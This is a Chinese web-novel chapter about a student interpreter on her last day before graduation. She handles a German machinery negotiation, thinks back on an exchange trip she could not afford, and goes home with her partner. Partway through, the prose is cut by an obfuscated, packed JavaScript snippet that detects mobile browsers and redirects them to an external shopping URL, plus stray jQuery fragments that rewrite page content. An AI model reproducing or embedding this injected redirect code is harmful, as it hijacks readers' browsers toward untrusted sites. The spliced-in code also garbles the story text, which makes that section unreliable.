今日，天气晴。


    温笙穿过展会的安检口，走到入口处，调整了一下胸前的工牌。


    今天是她最后一次以学生身份来做交易会的兼职翻译。想到明天就要毕业，她心里既有种释然，又有一种说不出的惆怅。


    “温笙！”远处有人喊她。


    是她对接的一家贸易公司经理，姓李，一身剪裁利落的西装套裙，三十岁出头。


    “李姐。”


    李娟秀递过来一叠资料，“今天的客户是德国的机械制造商，对方带了技术团队，会涉及很多专业术语。我知道你德语不是主修，但你是我们这里最靠谱的翻译了。”


    温笙接过厚厚一叠资料，低头快速翻阅，眉心不自觉蹙起：“这次怎么这么突然？”


    她本科主修英语，辅修德语，虽然平时应付一般日常交流没问题，可面对这种涉及图纸、零部件的机械领域，再加上毫无准备，资料全是晦涩难懂的专业词汇，压力一下就上来了。


    李娟秀叹了口气，无奈地说：“原定的翻译被临时调到其他展区了，没办法，只能拜托你顶上。你放心，我会在场帮你做补充，技术词汇部分我们也带了工程师。”


    她笑道：“放心，这次的工资我加三倍给你。”


    温笙忽然庆幸自己在接下这个兼职之初，曾经花了额外的时间，把几份英文机械资料仔细看过。


    虽然对德语里的专业词汇仍感陌生，但至少英文的对照让她能迅速捕捉关键点，再结合上下文去转译。


    四年前，她第一次站在国际贸易展会里，紧张得手心出汗，连最基本的商务用语都有点卡顿。


    而现在，她已经可以在各种场合游刃有余地切换中英德三种语言。


    会议室里，中方是一家大型国企的采购团队，德方是三个西装革履的中年男人，看起来都是技术出身，表情严肃。


    谈判开始。


    德方的老板说话速度很快，夹杂着大量的机械工程术语。温笙全神贯注地听着，用笔快速做记录，脑子里飞快地转换着语言。


    中方的工程师皱着眉头问了一个技术问题，温笙立刻用英语转述，同时在脑海中调出刚刚看过的德语技术参数。


    德方的经理突然用德语小声对老板说了句什么，大概是以为对方的翻译听不懂德语。


    温笙的表情没有任何变化，但她已经听清了对方讲的内容。她不动声色地继续翻译着台面上的对话，但在适当的时候，用中文对李娟秀说：“对方觉得我们还有降价空间，您可以坚持一下。”


    李娟秀不着痕迹地点了点头，表示自己知道了。


    最后，谈判以双方都满意的价格达成协议。


    送走客户后，李娟秀拉着温笙的手，兴奋地说：“笙笙，你真的是帮了大忙了！这单成了，少说也是几千万的订单，这次你的薪水绝对不低！”


    温笙被她握得有点猝不及防，大脑因为长时间的紧绷一时空白，直到听了高薪水几个字后才回神。


    “李姐，这是我应该做的。”


    “今天辛苦你啦，最后一天了吧？明天毕业典礼？”李娟秀笑着问。


    “嗯，对，干完这单后，我就算彻底告别学生时代了。”温笙点点头，拧开水瓶喝了一口，“李姐，下次找我，就得到翻译公司找我了。”


    “时间过得真快啊。”李娟秀感叹道。


    “是啊，时间过得真快啊。”温笙放下水瓶，看向窗外。


    这四年，她为了攒学费和生活费，几乎接了所有能接的翻译工作，商务谈判、技术交流、学术会议、甚至还有旅游陪同。


    大二的时候，学校曾经有过一次交换名额，她拿着宣传册心动了很久，但宣传册的最后几行字打碎了她的幻想。


    学校免除了学费和往返机票，但交换期间的生活费、住宿费、签证费等一切开销都要自理。


    报


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563747|181209||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    名截止前的晚上，她一个人坐在行政楼的楼梯里，旁边就是国际交流处。


    她拿着借来的计算器，一边哭一边算着费用。可无论怎么算，都远远超出自己能负担的范围。


    还差五万。


    “李姐，这次我大概能拿到多少钱啊？”温笙收回思绪，问身旁的女人。


    李娟秀笑着竖起三根手指：“三倍工资，怎么也得有个一万多。”


    温笙垂下眼，在心里开始算自己的小金库有多少钱。


    这几年省吃俭用、靠一单单兼职翻译攒下来的钱，再加上这次的薪水，自己的存款已经不止五万了。


    她闭着眼睛，深吸一口气。


    五万，


    她现在才拥有。


    但当年那个坐在楼梯间里哭的女孩，还是错过了去往国外的一张机票。


    “温笙？”


    李娟秀察觉到她的走神，关切地问：“是不是今天的谈判太累了？要不要先回去休息？”


    “没事，就是想起了一些往事。”


    “理解，毕业总是会怀旧的。对了，晚上要不要一起吃个饭？算是给你庆祝毕业，也算是感谢你这几年的帮忙。”


    “谢谢李姐的好意。不过今晚不行，我对象要来接我回家吃饭。”温笙婉拒道。


    “好啊，那就不打扰你们小年轻了。改天我单独请你。”李娟秀也不再过多挽留。


    她们简单整理了桌上的资料，确认无误后一同走出会议室，两人在场馆门口道别。


    温笙刚走出展馆，一眼就看见许家宁，她小跑过去，扑进对方怀里。


    “等很久了吗？”她仰起脸，笑着问他。


    许家宁低头看着她，唇角弯起：“不久，刚好。”


    “那我们回家？”


    “我们回家。”


    他接过她怀里的资料袋，另一只手自然地牵住她，两人并肩走下台阶，往两人的小家方向走。